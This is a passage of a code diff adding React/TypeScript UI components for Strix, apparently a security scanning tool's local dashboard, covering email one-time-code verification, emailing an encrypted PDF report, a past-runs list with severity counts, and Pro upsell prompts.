rate_limited: "Too many requests. Wait a minute and try again.",
invalid_email: "That email does not look right. Check it and try again.",
unavailable: "The email service is unavailable right now. Try again shortly.",
};
const SEND_ERRORS: Record<string, string> = {
forbidden: "This email was unsubscribed from Strix, so we cannot send to it.",
too_large: "This report is too large to email. Try a smaller run.",
unavailable: "The email service is unavailable right now. Try again shortly.",
};
// A small set of common personal providers for instant client-side feedback.
// The relay is authoritative (it checks the full free-email-domains list).
const COMMON_FREE_DOMAINS = new Set([
"gmail.com", "googlemail.com", "yahoo.com", "ymail.com", "outlook.com",
"hotmail.com", "live.com", "icloud.com", "me.com", "aol.com", "proton.me",
"protonmail.com", "gmx.com", "mail.com",
]);
export default function EmailReportView({
activeRun,
auth,
purpose,
skipDisclosure = false,
onAuthChanged,
onExit,
}: EmailReportViewProps) {
const verified = auth?.verified === true;
const verifyOnly = purpose === "verify";
// Verify mode (and the Overview CTA, which skips the disclosure) start on the
// email step; a verified user who skips the disclosure sends immediately.
const [step, setStep] = useState<Step>(() => {
if (verifyOnly) return "email";
if (skipDisclosure) return verified ? "sending" : "email";
return "disclosure";
});
const [email, setEmail] = useState(auth?.email ?? "");
const [code, setCode] = useState("");
const [busy, setBusy] = useState(false);
const [error, setError] = useState<string | null>(null);
const [notice, setNotice] = useState<string | null>(null);
const [password, setPassword] = useState("");
const [filename, setFilename] = useState("");
const [copied, setCopied] = useState(false);
const [sentTo, setSentTo] = useState("");
const autoSentRef = useRef(false);
const doSend = async () => {
setStep("sending");
setError(null);
const result = await sendReport(activeRun);
if (result.ok) {
track("report_sent");
setPassword(result.password);
setFilename(result.filename);
setStep("password");
return;
}
if (result.error === "reverify" || result.error === "unverified") {
setNotice("Your verification expired. Enter your email to verify again.");
setStep("email");
return;
}
setError(SEND_ERRORS[result.error] ?? "Could not send the report. Try again.");
setStep("disclosure");
};
const startFlow = () => {
setError(null);
setNotice(null);
if (verified) void doSend();
else setStep("email");
};
// A verified user who skipped the disclosure (Overview CTA) sends on arrival.
useEffect(() => {
if (!verifyOnly && skipDisclosure && verified && !autoSentRef.current) {
autoSentRef.current = true;
void doSend();
}
// Run once on mount; the page remounts fresh each time it is opened.
// eslint-disable-next-line react-hooks/exhaustive-deps
}, []);
const submitEmail = async () => {
const value = email.trim();
if (!value) {
setError("Enter your email to continue.");
return;
}
const domain = value.slice(value.lastIndexOf("@") + 1).toLowerCase();
if (COMMON_FREE_DOMAINS.has(domain)) {
track("work_email_required");
setError(OTP_START_ERRORS.work_email_required);
return;
}
setBusy(true);
setError(null);
const result = await otpStart(value);
setBusy(false);
if (result.ok) {
track("email_submitted", { purpose });
setNotice(`We sent a 6-digit code to ${value}.`);
setStep("code");
} else {
if (result.error === "work_email_required") track("work_email_required");
setError(OTP_START_ERRORS[result.error] ?? "Could not send a code. Try again.");
}
};
const submitCode = async () => {
const value = code.trim();
if (value.length < 4) {
setError("Enter the 6-digit code from your email.");
return;
}
setBusy(true);
setError(null);
const result = await otpVerify(email.trim(), value);
setBusy(false);
if (!result.verified) {
setError("That code did not match. Check it and try again.");
return;
}
track("email_verified", { purpose });
setSentTo(result.email);
onAuthChanged();
if (verifyOnly) onExit("history");
else void doSend();
};
const copyPassword = async () => {
try {
await navigator.clipboard.writeText(password);
setCopied(true);
setTimeout(() => setCopied(false), 1500);
} catch {
/* clipboard may be unavailable; the password is visible to copy manually */
}
};
const confirmationEmail = sentTo || auth?.email || email.trim();
return (
<div className="mx-auto max-w-md space-y-4">
<button
onClick={() => onExit(verifyOnly ? "history" : "overview")}
className="cursor-pointer inline-flex items-center gap-1.5 text-sm text-[#888] transition-colors hover:text-white"
>
<ArrowLeft className="h-4 w-4" />
{verifyOnly ? "Back to past runs" : "Back to results"}
</button>
<div className="flex items-center gap-2">
<Mail className="h-5 w-5 text-[#888]" aria-hidden="true" />
<h1 className="text-2xl font-semibold text-white">
{verifyOnly ? "Verify your email" : "Email report"}
</h1>
</div>
<div
className="w-full rounded-2xl bg-[rgba(255,255,255,0.02)] p-6"
style={{ border: "1px solid #2a2a2a" }}
>
<p className="mb-4 text-xs text-[#666]">
{verifyOnly
? "We send a one-time code to confirm it is you."
: "Verified by a one-time code sent to your email"}
</p>
{error && (
<div className="mb-4 flex items-start gap-2 rounded-lg border border-red-500/30 bg-red-500/5 px-3 py-2">
<AlertCircle className="mt-0.5 h-4 w-4 flex-shrink-0 text-red-400" aria-hidden="true" />
<p className="text-xs text-red-300">{error}</p>
</div>
)}
{notice && !error && step !== "password" && (
<p className="mb-4 text-xs text-[#888]">{notice}</p>
)}
{step === "disclosure" && (
<div className="space-y-4">
<div
className="space-y-2.5 rounded-lg p-3.5"
style={{ border: "1px solid #222", background: "rgba(255,255,255,0.02)" }}
>
<div className="flex items-start gap-2.5">
<ShieldCheck className="mt-0.5 h-4 w-4 flex-shrink-0 text-emerald-400" aria-hidden="true" />
<p className="text-xs leading-relaxed text-[#aaa]">
Viewing stays local and nothing is uploaded. Emailing is an explicit
opt-in: we send an <span className="text-white">encrypted PDF</span>.
</p>
</div>
<div className="flex items-start gap-2.5">
<Lock className="mt-0.5 h-4 w-4 flex-shrink-0 text-[#888]" aria-hidden="true" />
<p className="text-xs leading-relaxed text-[#aaa]">
The report is encrypted with a password that only you hold. Strix
cannot read it and never stores it. We collect only your email so we
can send it.
</p>
</div>
</div>
<button
onClick={startFlow}
className="w-full cursor-pointer rounded-lg bg-white px-4 py-2.5 text-sm font-semibold text-black transition-opacity hover:opacity-90"
>
{verified ? "Email me the encrypted PDF" : "Continue with your email"}
</button>
{verified && auth?.email && (
<p className="text-center text-xs text-[#666]">Sending to {auth.email}</p>
)}
</div>
)}
{step === "email" && (
<form
className="space-y-4"
onSubmit={(e) => {
e.preventDefault();
void submitEmail();
}}
>
<label className="block">
<span className="mb-1.5 block text-xs text-[#888]">Your work email</span>
<input
type="email"
autoFocus
value={email}
onChange={(e) => setEmail(e.target.value)}
placeholder="you@company.com"
className="w-full rounded-lg bg-black px-3 py-2.5 text-sm text-white outline-none transition-colors focus:border-[#444]"
style={{ border: "1px solid #2a2a2a" }}
/>
<span className="mt-1.5 block text-[11px] text-[#666]">Use your work email.</span>
</label>
<button
type="submit"
disabled={busy}
className="flex w-full cursor-pointer items-center justify-center gap-2 rounded-lg bg-white px-4 py-2.5 text-sm font-semibold text-black transition-opacity hover:opacity-90 disabled:opacity-60"
>
{busy && <Loader2 className="h-4 w-4 animate-spin" aria-hidden="true" />}
Send me a code
</button>
</form>
)}
{step === "code" && (
<form
className="space-y-4"
onSubmit={(e) => {
e.preventDefault();
void submitCode();
}}
>
<label className="block">
<span className="mb-1.5 block text-xs text-[#888]">6-digit code</span>
<input
inputMode="numeric"
autoFocus
value={code}
onChange={(e) => setCode(e.target.value.replace(/\D/g, "").slice(0, 6))}
placeholder="123456"
className="w-full rounded-lg bg-black px-3 py-2.5 text-center text-lg font-mono tracking-[0.4em] text-white outline-none transition-colors focus:border-[#444]"
style={{ border: "1px solid #2a2a2a" }}
/>
</label>
<button
type="submit"
disabled={busy}
className="flex w-full cursor-pointer items-center justify-center gap-2 rounded-lg bg-white px-4 py-2.5 text-sm font-semibold text-black transition-opacity hover:opacity-90 disabled:opacity-60"
>
{busy && <Loader2 className="h-4 w-4 animate-spin" aria-hidden="true" />}
{verifyOnly ? "Verify" : "Verify and send"}
</button>
<button
type="button"
onClick={() => {
setStep("email");
setError(null);
setNotice(null);
}}
className="w-full cursor-pointer text-center text-xs text-[#666] transition-colors hover:text-[#aaa]"
>
Use a different email
</button>
</form>
)}
{step === "sending" && (
<div className="flex flex-col items-center gap-3 py-8">
<Loader2 className="h-6 w-6 animate-spin text-white" aria-hidden="true" />
<p className="text-sm text-[#aaa]">Generating and encrypting locally...</p>
</div>
)}
{step === "password" && (
<div className="space-y-4">
<div className="flex items-start gap-2.5 rounded-lg border border-emerald-500/30 bg-emerald-500/5 px-3 py-2.5">
<Check className="mt-0.5 h-4 w-4 flex-shrink-0 text-emerald-400" aria-hidden="true" />
<p className="text-xs text-emerald-200">
Sent to {confirmationEmail}. Open the attached PDF with this password.
</p>
</div>
<div>
<span className="mb-1.5 block text-xs text-[#888]">Your one-time password</span>
<div
className="flex items-center gap-2 rounded-lg bg-black p-3"
style={{ border: "1px solid #2a2a2a" }}
>
<code className="flex-1 break-all font-mono text-base text-white">{password}</code>
<button
onClick={copyPassword}
className="flex cursor-pointer items-center gap-1 rounded-md px-2 py-1 text-xs text-[#aaa] transition-colors hover:bg-[rgba(255,255,255,0.06)] hover:text-white"
style={{ border: "1px solid #2a2a2a" }}
>
{copied ? <Check className="h-3.5 w-3.5" /> : <Copy className="h-3.5 w-3.5" />}
{copied ? "Copied" : "Copy"}
</button>
</div>
<p className="mt-2 text-xs text-[#666]">
Save this now. Strix never stores it, so we cannot show it again. File:{" "}
<span className="font-mono text-[#888]">{filename}</span>
</p>
</div>
<button
onClick={() => onExit("overview")}
className="w-full cursor-pointer rounded-lg px-4 py-2.5 text-sm font-semibold text-white transition-colors hover:bg-[rgba(255,255,255,0.06)]"
style={{ border: "1px solid #2a2a2a" }}
>
Done
</button>
</div>
)}
</div>
</div>
);
}
@@ -0,0 +1,163 @@
import { useState } from "react";
import { Loader2, AlertCircle } from "lucide-react";
import { otpStart, otpVerify } from "@/data/serverSource";
import { track } from "@/lib/cta";
/**
* Compact inline email -> 6-digit-code verify flow. Unlike EmailReportView this
* has no page chrome, no report send, and no password panel: it just confirms
* the email so the past-runs list can unlock in place. On success it calls
* `onVerified` (the parent refreshes auth + runs).
*/
const OTP_START_ERRORS: Record<string, string> = {
work_email_required: "Please use your work email, not a personal one.",
rate_limited: "Too many requests. Wait a minute and try again.",
invalid_email: "That email does not look right. Check it and try again.",
unavailable: "The email service is unavailable right now. Try again shortly.",
};
// A small set of common personal providers for instant client-side feedback.
// The relay is authoritative (it checks the full free-email-domains list).
const COMMON_FREE_DOMAINS = new Set([
"gmail.com", "googlemail.com", "yahoo.com", "ymail.com", "outlook.com",
"hotmail.com", "live.com", "icloud.com", "me.com", "aol.com", "proton.me",
"protonmail.com", "gmx.com", "mail.com",
]);
export default function EmailVerifyInline({ onVerified }: { onVerified: () => void }) {
const [step, setStep] = useState<"email" | "code">("email");
const [email, setEmail] = useState("");
const [code, setCode] = useState("");
const [busy, setBusy] = useState(false);
const [error, setError] = useState<string | null>(null);
const [notice, setNotice] = useState<string | null>(null);
const submitEmail = async () => {
const value = email.trim();
if (!value) {
setError("Enter your email to continue.");
return;
}
const domain = value.slice(value.lastIndexOf("@") + 1).toLowerCase();
if (COMMON_FREE_DOMAINS.has(domain)) {
track("work_email_required");
setError(OTP_START_ERRORS.work_email_required);
return;
}
setBusy(true);
setError(null);
const result = await otpStart(value);
setBusy(false);
if (result.ok) {
track("email_submitted", { purpose: "verify" });
setNotice(`We sent a 6-digit code to ${value}.`);
setStep("code");
} else {
if (result.error === "work_email_required") track("work_email_required");
setError(OTP_START_ERRORS[result.error] ?? "Could not send a code. Try again.");
}
};
const submitCode = async () => {
const value = code.trim();
if (value.length < 4) {
setError("Enter the 6-digit code from your email.");
return;
}
setBusy(true);
setError(null);
const result = await otpVerify(email.trim(), value);
setBusy(false);
if (!result.verified) {
setError("That code did not match. Check it and try again.");
return;
}
track("email_verified", { purpose: "verify" });
onVerified();
};
return (
<div className="mx-auto mt-5 max-w-sm text-left">
{error && (
<div className="mb-3 flex items-start gap-2 rounded-lg border border-red-500/30 bg-red-500/5 px-3 py-2">
<AlertCircle className="mt-0.5 h-4 w-4 flex-shrink-0 text-red-400" aria-hidden="true" />
<p className="text-xs text-red-300">{error}</p>
</div>
)}
{notice && !error && <p className="mb-3 text-xs text-[#888]">{notice}</p>}
{step === "email" ? (
<form
className="space-y-3"
onSubmit={(e) => {
e.preventDefault();
void submitEmail();
}}
>
<label className="block">
<span className="mb-1.5 block text-xs text-[#888]">Your work email</span>
<input
type="email"
autoFocus
value={email}
onChange={(e) => setEmail(e.target.value)}
placeholder="you@company.com"
className="w-full rounded-lg bg-black px-3 py-2.5 text-sm text-white outline-none transition-colors focus:border-[#444]"
style={{ border: "1px solid #2a2a2a" }}
/>
<span className="mt-1.5 block text-[11px] text-[#666]">Use your work email.</span>
</label>
<button
type="submit"
disabled={busy}
className="flex w-full cursor-pointer items-center justify-center gap-2 rounded-lg bg-white px-4 py-2.5 text-sm font-semibold text-black transition-opacity hover:opacity-90 disabled:opacity-60"
>
{busy && <Loader2 className="h-4 w-4 animate-spin" aria-hidden="true" />}
Send me a code
</button>
</form>
) : (
<form
className="space-y-3"
onSubmit={(e) => {
e.preventDefault();
void submitCode();
}}
>
<label className="block">
<span className="mb-1.5 block text-xs text-[#888]">6-digit code</span>
<input
inputMode="numeric"
autoFocus
value={code}
onChange={(e) => setCode(e.target.value.replace(/\D/g, "").slice(0, 6))}
placeholder="123456"
className="w-full rounded-lg bg-black px-3 py-2.5 text-center text-lg font-mono tracking-[0.4em] text-white outline-none transition-colors focus:border-[#444]"
style={{ border: "1px solid #2a2a2a" }}
/>
</label>
<button
type="submit"
disabled={busy}
className="flex w-full cursor-pointer items-center justify-center gap-2 rounded-lg bg-white px-4 py-2.5 text-sm font-semibold text-black transition-opacity hover:opacity-90 disabled:opacity-60"
>
{busy && <Loader2 className="h-4 w-4 animate-spin" aria-hidden="true" />}
Verify
</button>
<button
type="button"
onClick={() => {
setStep("email");
setError(null);
setNotice(null);
}}
className="w-full cursor-pointer text-center text-xs text-[#666] transition-colors hover:text-[#aaa]"
>
Use a different email
</button>
</form>
)}
</div>
);
}
@@ -0,0 +1,96 @@
import {
CalendarClock,
WandSparkles,
Puzzle,
Users,
ArrowUpRight,
} from "lucide-react";
import { SIGNUP_URL, PRICING_URL, ctaUrl, trackCta } from "@/lib/cta";
import type { ProFeature } from "@/lib/pro-features";
import { ProTag } from "@/components/ProCta";
/**
* In-app upsell page for a single platform feature. Modeled on the cloud app's
* Networks upsell: a centered bordered card with an icon medallion, tier pill,
* headline, one-line description, a shared "Included in Strix Pro" bullet list,
* then a primary sign-up CTA and a secondary link to all plans.
*/
const INCLUDED = [
{
icon: CalendarClock,
text: "Continuous coverage: scheduled pentests and attack surface monitoring",
},
{ icon: WandSparkles, text: "One-click autofix that opens a retested pull request" },
{ icon: Puzzle, text: "Two-way sync to Jira, Linear, and Slack" },
{ icon: Users, text: "Your whole team, with roles and shared history" },
];
export default function FeatureDetail({ feature }: { feature: ProFeature }) {
const Icon = feature.icon;
return (
<div className="mx-auto w-full max-w-lg">
<div className="rounded-2xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-8 text-center">
<div
className="mx-auto flex h-12 w-12 items-center justify-center rounded-xl"
style={{ border: "1px solid #2a2a2a", background: "rgba(255,255,255,0.04)" }}
>
<Icon className="h-5 w-5 text-[#888]" aria-hidden="true" />
</div>
<div className="mt-4 flex justify-center">
<ProTag label={feature.tier} />
</div>
<h2 className="mt-3 text-2xl font-semibold text-white">{feature.headline}</h2>
<p className="mx-auto mt-2 max-w-md text-sm text-[#888]">{feature.description}</p>
<div
className="mt-6 rounded-xl p-4 text-left"
style={{ border: "1px solid #222", background: "rgba(255,255,255,0.02)" }}
>
<p className="mb-3 text-xs font-semibold uppercase tracking-wide text-[#666]">
Included in Strix Pro
</p>
<ul className="space-y-2.5">
{INCLUDED.map((item) => {
const BulletIcon = item.icon;
return (
<li key={item.text} className="flex items-start gap-2.5">
<BulletIcon
className="mt-0.5 h-4 w-4 flex-shrink-0 text-[#888]"
aria-hidden="true"
/>
<span className="text-sm text-[#aaa]">{item.text}</span>
</li>
);
})}
</ul>
</div>
<div className="mt-6 flex flex-col items-center gap-3">
<a
href={ctaUrl(SIGNUP_URL, feature.slug)}
target="_blank"
rel="noopener noreferrer"
onClick={() => trackCta(feature.slug, "feature_page")}
className="inline-flex w-full items-center justify-center gap-1.5 rounded-lg bg-white px-4 py-2.5 text-sm font-semibold text-black transition-opacity hover:opacity-90"
>
Start free
<ArrowUpRight className="h-3.5 w-3.5" aria-hidden="true" />
</a>
<a
href={ctaUrl(PRICING_URL, feature.slug)}
target="_blank"
rel="noopener noreferrer"
onClick={() => trackCta(feature.slug, "feature_page_plans")}
className="inline-flex items-center gap-1 text-xs text-[#888] transition-colors hover:text-white"
>
View all plans
<ArrowUpRight className="h-3 w-3" aria-hidden="true" />
</a>
</div>
</div>
</div>
);
}
@@ -0,0 +1,77 @@
import React from "react";
import { cn } from "@/lib/utils";
export interface IssueSeveritySummaryFindings {
total: number;
critical: number;
high: number;
medium: number;
low: number;
}
interface IssueSeveritySummaryProps {
findings: IssueSeveritySummaryFindings;
className?: string;
/** Noun for the total count (e.g. "issues", "CVEs"). Defaults to "issues". */
unit?: string;
/** Optional content rendered at the end of the count row (e.g. a KEV badge). */
trailing?: React.ReactNode;
}
const SEVERITIES = [
{ key: "critical", label: "critical", dotClass: "bg-red-500", textClass: "text-red-500" },
{ key: "high", label: "high", dotClass: "bg-orange-500", textClass: "text-orange-500" },
{ key: "medium", label: "medium", dotClass: "bg-yellow-500", textClass: "text-yellow-500" },
{ key: "low", label: "low", dotClass: "bg-blue-500", textClass: "text-blue-500" },
] as const;
export function IssueSeveritySummary({
findings,
className,
unit = "issues",
trailing,
}: IssueSeveritySummaryProps) {
if (findings.total <= 0) return null;
return (
<div className={cn("space-y-3", className)}>
<div className="flex flex-wrap items-center gap-x-8 gap-y-3">
<div className="flex items-center gap-2">
<span className="text-2xl font-semibold text-white tabular-nums">{findings.total}</span>
<span className="text-sm text-[#666]">{unit}</span>
</div>
<div className="flex flex-wrap items-center gap-x-6 gap-y-2">
{SEVERITIES.map(({ key, label, dotClass, textClass }) => {
const count = findings[key];
if (count <= 0) return null;
return (
<div key={key} className="flex items-center gap-1.5">
<div className={cn("w-2 h-2 rounded-full", dotClass)} aria-hidden="true" />
<span className={cn("text-sm tabular-nums", textClass)}>{count}</span>
<span className="text-xs text-[#555]">{label}</span>
</div>
);
})}
</div>
{trailing ? <div className="flex items-center gap-2">{trailing}</div> : null}
</div>
<div className="h-1.5 rounded-full bg-[#222] overflow-hidden flex">
{SEVERITIES.map(({ key, dotClass }) => {
const count = findings[key];
if (count <= 0) return null;
return (
<div
key={key}
className={cn("h-full", dotClass)}
style={{ width: `${(count / findings.total) * 100}%` }}
/>
);
})}
</div>
</div>
);
}
@@ -0,0 +1,176 @@
import { useState } from "react";
import { History, ChevronRight, Terminal } from "lucide-react";
import type { RunListEntry, RunsPayload, RunSeverityCounts } from "@/data/serverSource";
import { runTitle } from "@/lib/target-utils";
import { trackCta } from "@/lib/cta";
import EmailVerifyInline from "@/components/EmailVerifyInline";
/**
* "Past runs" panel. Unverified users see a tease with the run count and a
* verify affordance (the launched run stays fully visible; the CLI
* `strix view <name>` still works). Verified users get the full history and can
* switch the active run, which threads ?run=<name> through the data fetches.
*/
const SEV = [
{ key: "critical", dot: "bg-red-500", text: "text-red-500" },
{ key: "high", dot: "bg-orange-500", text: "text-orange-500" },
{ key: "medium", dot: "bg-yellow-500", text: "text-yellow-500" },
{ key: "low", dot: "bg-blue-500", text: "text-blue-500" },
] as const;
function SeverityChips({ counts }: { counts: RunSeverityCounts }) {
const shown = SEV.filter((s) => counts[s.key] > 0);
if (shown.length === 0) {
return <span className="text-xs text-[#555]">No findings</span>;
}
return (
<div className="flex items-center gap-3">
{shown.map((s) => (
<div key={s.key} className="flex items-center gap-1.5">
<span className={`h-2 w-2 rounded-full ${s.dot}`} aria-hidden="true" />
<span className={`text-xs tabular-nums ${s.text}`}>{counts[s.key]}</span>
</div>
))}
</div>
);
}
function formatDate(iso: string | null): string | null {
if (!iso) return null;
const normalized = iso.trim().replace(" UTC", "Z").replace(" ", "T");
const d = new Date(normalized);
if (Number.isNaN(d.getTime())) return null;
return d.toLocaleString(undefined, {
month: "short",
day: "numeric",
hour: "numeric",
minute: "2-digit",
});
}
/**
* Relative time ("just now" / "5m ago" / "3h ago" / "2d ago"), falling back to
* the absolute date for anything older than a week (mirrors the pro app).
*/
function formatTimeAgo(iso: string | null): string | null {
if (!iso) return null;
const normalized = iso.trim().replace(" UTC", "Z").replace(" ", "T");
const d = new Date(normalized);
if (Number.isNaN(d.getTime())) return null;
const diffMs = Date.now() - d.getTime();
const mins = Math.floor(diffMs / 60000);
if (mins < 1) return "just now";
if (mins < 60) return `${mins}m ago`;
const hours = Math.floor(mins / 60);
if (hours < 24) return `${hours}h ago`;
const days = Math.floor(hours / 24);
if (days < 7) return `${days}d ago`;
return formatDate(iso);
}
interface PastRunsViewProps {
runs: RunsPayload | null;
activeRun: string | null;
onSelectRun: (name: string) => void;
onVerified: () => void;
}
export default function PastRunsView({
runs,
activeRun,
onSelectRun,
onVerified,
}: PastRunsViewProps) {
const count = runs?.count ?? 0;
const [showVerify, setShowVerify] = useState(false);
if (!runs || runs.locked) {
return (
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-8 text-center">
<div
className="mx-auto mb-4 flex h-11 w-11 items-center justify-center rounded-xl"
style={{ border: "1px solid #2a2a2a", background: "rgba(255,255,255,0.04)" }}
>
<History className="h-5 w-5 text-[#888]" aria-hidden="true" />
</div>
<h2 className="text-base font-semibold text-white">Browse every run on this machine</h2>
<p className="mx-auto mt-1.5 max-w-md text-sm text-[#888]">
You have {count} past {count === 1 ? "run" : "runs"} on this machine.
</p>
{showVerify ? (
<>
<p className="mx-auto mt-3 max-w-sm text-xs text-[#666]">
Verify your email with a one-time code to unlock the full history.
</p>
<EmailVerifyInline onVerified={onVerified} />
</>
) : (
<button
onClick={() => {
trackCta("history_unlock", "past_runs");
setShowVerify(true);
}}
className="mt-4 cursor-pointer rounded-lg bg-white px-4 py-2 text-sm font-semibold text-black transition-opacity hover:opacity-90"
>
View runs
</button>
)}
<p className="mt-4 flex items-center justify-center gap-1.5 text-xs text-[#555]">
<Terminal className="h-3.5 w-3.5" aria-hidden="true" />
Or open one from the CLI with{" "}
<code className="font-mono text-[#888]">strix view &lt;name&gt;</code>
</p>
</div>
);
}
if (runs.runs.length === 0) {
return (
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-8 text-center text-sm text-[#888]">
No past runs found on this machine yet.
</div>
);
}
return (
<div className="space-y-2">
{runs.runs.map((run: RunListEntry) => {
const active = run.name === activeRun;
const date = formatTimeAgo(run.start_time) ?? formatTimeAgo(run.end_time);
const title = runTitle(run.target, run.name);
return (
<button
key={run.name}
onClick={() => onSelectRun(run.name)}
className={`group flex w-full cursor-pointer items-center gap-4 rounded-lg border px-4 py-3 text-left transition-colors ${
active
? "border-[#444] bg-[rgba(255,255,255,0.04)]"
: "border-[#222] bg-[rgba(255,255,255,0.02)] hover:border-[#444]"
}`}
>
<div className="min-w-0 flex-1">
<div className="flex items-center gap-2">
<span className="truncate text-sm font-medium text-white">{title}</span>
{active && (
<span className="rounded-full px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wide text-emerald-400" style={{ border: "1px solid rgba(16,185,129,0.3)" }}>
Active
</span>
)}
</div>
<div className="mt-0.5 flex flex-wrap items-center gap-x-2 gap-y-0.5 text-xs text-[#666]">
{run.scan_mode && <span className="capitalize">{run.scan_mode}</span>}
{run.scan_mode && (date || run.status) && <span className="text-[#333]">·</span>}
{date && <span>{date}</span>}
{date && run.status && <span className="text-[#333]">·</span>}
{run.status && <span className="capitalize">{run.status}</span>}
</div>
</div>
<SeverityChips counts={run.severity_counts} />
<ChevronRight className="h-4 w-4 flex-shrink-0 text-[#555] transition-colors group-hover:text-[#aaa]" aria-hidden="true" />
</button>
);
})}
</div>
);
}
@@ -0,0 +1,184 @@
import React, { useState } from "react";
import { ArrowUpRight } from "lucide-react";
import { SIGNUP_URL, ctaUrl, trackCta } from "@/lib/cta";
import type { ProFeature } from "@/lib/pro-features";
/**
* Shared Pro CTA primitives. Every Pro item is a direct link-out to the cloud
* sign-up in a new tab with a hover tooltip one-liner (no modal, no lock icon).
* Built once here and reused by the sidebar Platform section, the top upsell
* row, and the inline CTAs in the tabs.
*/
/** Small tier pill ("Pro" or "Enterprise"). Deliberately not a padlock. */
export function ProTag({ label = "Pro", className = "" }: { label?: string; className?: string }) {
return (
<span
className={`inline-flex items-center rounded-full px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wide text-[#aaa] ${className}`}
style={{ border: "1px solid #2a2a2a", background: "rgba(255,255,255,0.04)" }}
>
{label}
</span>
);
}
/**
* Lightweight hover tooltip. Wraps a trigger and reveals `text` above it on
* hover/focus. Plain Tailwind + local state (no radix vendored).
*/
export function Tooltip({
text,
children,
className = "",
}: {
text: string;
children: React.ReactNode;
className?: string;
}) {
const [open, setOpen] = useState(false);
return (
<span
className={`relative inline-flex ${className}`}
onMouseEnter={() => setOpen(true)}
onMouseLeave={() => setOpen(false)}
onFocus={() => setOpen(true)}
onBlur={() => setOpen(false)}
>
{children}
{open && (
<span
role="tooltip"
className="pointer-events-none absolute bottom-full left-1/2 z-50 mb-2 w-max max-w-[240px] -translate-x-1/2 rounded-md px-2.5 py-1.5 text-xs text-[#ddd] shadow-lg"
style={{ border: "1px solid #2a2a2a", background: "#0a0a0a" }}
>
{text}
</span>
)}
</span>
);
}
export interface ProItem {
title: string;
desc: string;
slug: string;
icon: React.ElementType;
}
/**
* Card-style Pro feature tile: icon + name + one-liner + Pro tag + arrow.
* Used in the top upsell row and inline CTA grids.
*/
export function ProTile({ item, surface }: { item: ProItem; surface?: string }) {
const Icon = item.icon;
return (
<a
href={ctaUrl(SIGNUP_URL, item.slug)}
target="_blank"
rel="noopener noreferrer"
onClick={() => trackCta(item.slug, surface)}
title={item.desc}
className="group block cursor-pointer rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-4 text-left transition-colors hover:border-[#444]"
>
<div className="mb-2 flex items-center justify-between">
<Icon className="h-4 w-4 text-[#888] transition-colors group-hover:text-white" aria-hidden="true" />
<div className="flex items-center gap-1.5">
<ProTag />
<ArrowUpRight className="h-3.5 w-3.5 text-[#555] transition-colors group-hover:text-[#aaa]" aria-hidden="true" />
</div>
</div>
<p className="text-sm font-medium text-white">{item.title}</p>
<p className="mt-0.5 text-xs text-[#666]">{item.desc}</p>
</a>
);
}
/**
* Sidebar-row Pro item: a two-line row (icon + label + short one-liner
* underneath) with a small right-aligned tier tag. Opens the in-app
* FeatureDetail view via onClick (no link-out) so it sits uniformly beside the
* run/local rows in the themed nav list.
*/
export function ProNavItem({
feature,
active,
onClick,
collapsed = false,
}: {
feature: ProFeature;
active?: boolean;
onClick: () => void;
collapsed?: boolean;
}) {
const Icon = feature.icon;
if (collapsed) {
return (
<button
onClick={onClick}
title={`${feature.title} (${feature.tier})`}
className={`group flex w-full cursor-pointer items-center justify-center rounded-md px-2.5 py-2 transition-colors ${
active
? "text-white"
: "text-[#888] hover:bg-[rgba(255,255,255,0.06)] hover:text-white"
}`}
style={active ? { background: "rgba(255,255,255,0.12)" } : undefined}
>
<Icon className="h-4 w-4 flex-shrink-0" aria-hidden="true" />
</button>
);
}
return (
<button
onClick={onClick}
className={`group flex w-full cursor-pointer items-start gap-2.5 rounded-md px-2.5 py-1.5 text-left transition-colors ${
active
? "text-white"
: "text-[#888] hover:bg-[rgba(255,255,255,0.06)] hover:text-white"
}`}
style={active ? { background: "rgba(255,255,255,0.12)" } : undefined}
>
<Icon className="mt-0.5 h-4 w-4 flex-shrink-0" aria-hidden="true" />
<span className="min-w-0 flex-1">
<span className="flex items-center gap-1.5">
<span className="flex-1 truncate text-sm">{feature.title}</span>
<ProTag label={feature.tier} />
</span>
<span className="mt-0.5 block text-[11px] leading-snug text-[#666]">{feature.navDesc}</span>
</span>
</button>
);
}
/**
* Inline Pro CTA button (compact). Used in the finding detail and per-surface
* rows where a full card is too heavy.
*/
export function ProInlineCta({
label,
desc,
slug,
icon: Icon,
surface,
}: {
label: string;
desc: string;
slug: string;
icon: React.ElementType;
surface?: string;
}) {
return (
<Tooltip text={desc}>
<a
href={ctaUrl(SIGNUP_URL, slug)}
target="_blank"
rel="noopener noreferrer"
onClick={() => trackCta(slug, surface)}
className="group inline-flex items-center gap-2 rounded-lg border border-[#222] bg-[rgba(255,255,255,0.02)] px-3 py-2 text-sm text-[#aaa] transition-colors hover:border-[#444] hover:text-white"
>
<Icon className="h-4 w-4 text-[#888] transition-colors group-hover:text-white" aria-hidden="true" />
<span>{label}</span>
<ProTag className="ml-0.5" />
</a>
</Tooltip>
);
}
@@ -0,0 +1,200 @@
import { useState } from "react";
import { ChevronDown, ChevronUp, Info } from "lucide-react";
import { formatNumber } from "@/lib/display-number";
/**
* "Run details" card for the Overview tab: the launch configuration the run was
* started with (targets, instruction, scope, mode) and its LLM usage + cost.
* Everything is read defensively from the raw run.json record, which may be
* partial while a scan is still live.
*/
type Rec = Record<string, unknown>;
function rec(v: unknown): Rec {
return v && typeof v === "object" && !Array.isArray(v) ? (v as Rec) : {};
}
function arr(v: unknown): unknown[] {
return Array.isArray(v) ? v : [];
}
function str(v: unknown): string | null {
return typeof v === "string" && v.trim() ? v : null;
}
function num(v: unknown): number | null {
return typeof v === "number" && Number.isFinite(v) ? v : null;
}
function humanize(s: string): string {
return s.replace(/_/g, " ");
}
function cap(s: string | null): string | null {
return s ? s.charAt(0).toUpperCase() + s.slice(1) : s;
}
function fmtDuration(seconds: number | null): string {
if (seconds == null || seconds < 0) return "n/a";
const h = Math.floor(seconds / 3600);
const m = Math.floor((seconds % 3600) / 60);
const s = seconds % 60;
if (h) return `${h}h ${m}m ${s}s`;
if (m) return `${m}m ${s}s`;
return `${s}s`;
}
function Field({ label, children }: { label: string; children: React.ReactNode }) {
return (
<div className="grid grid-cols-[7rem_1fr] gap-3 items-baseline">
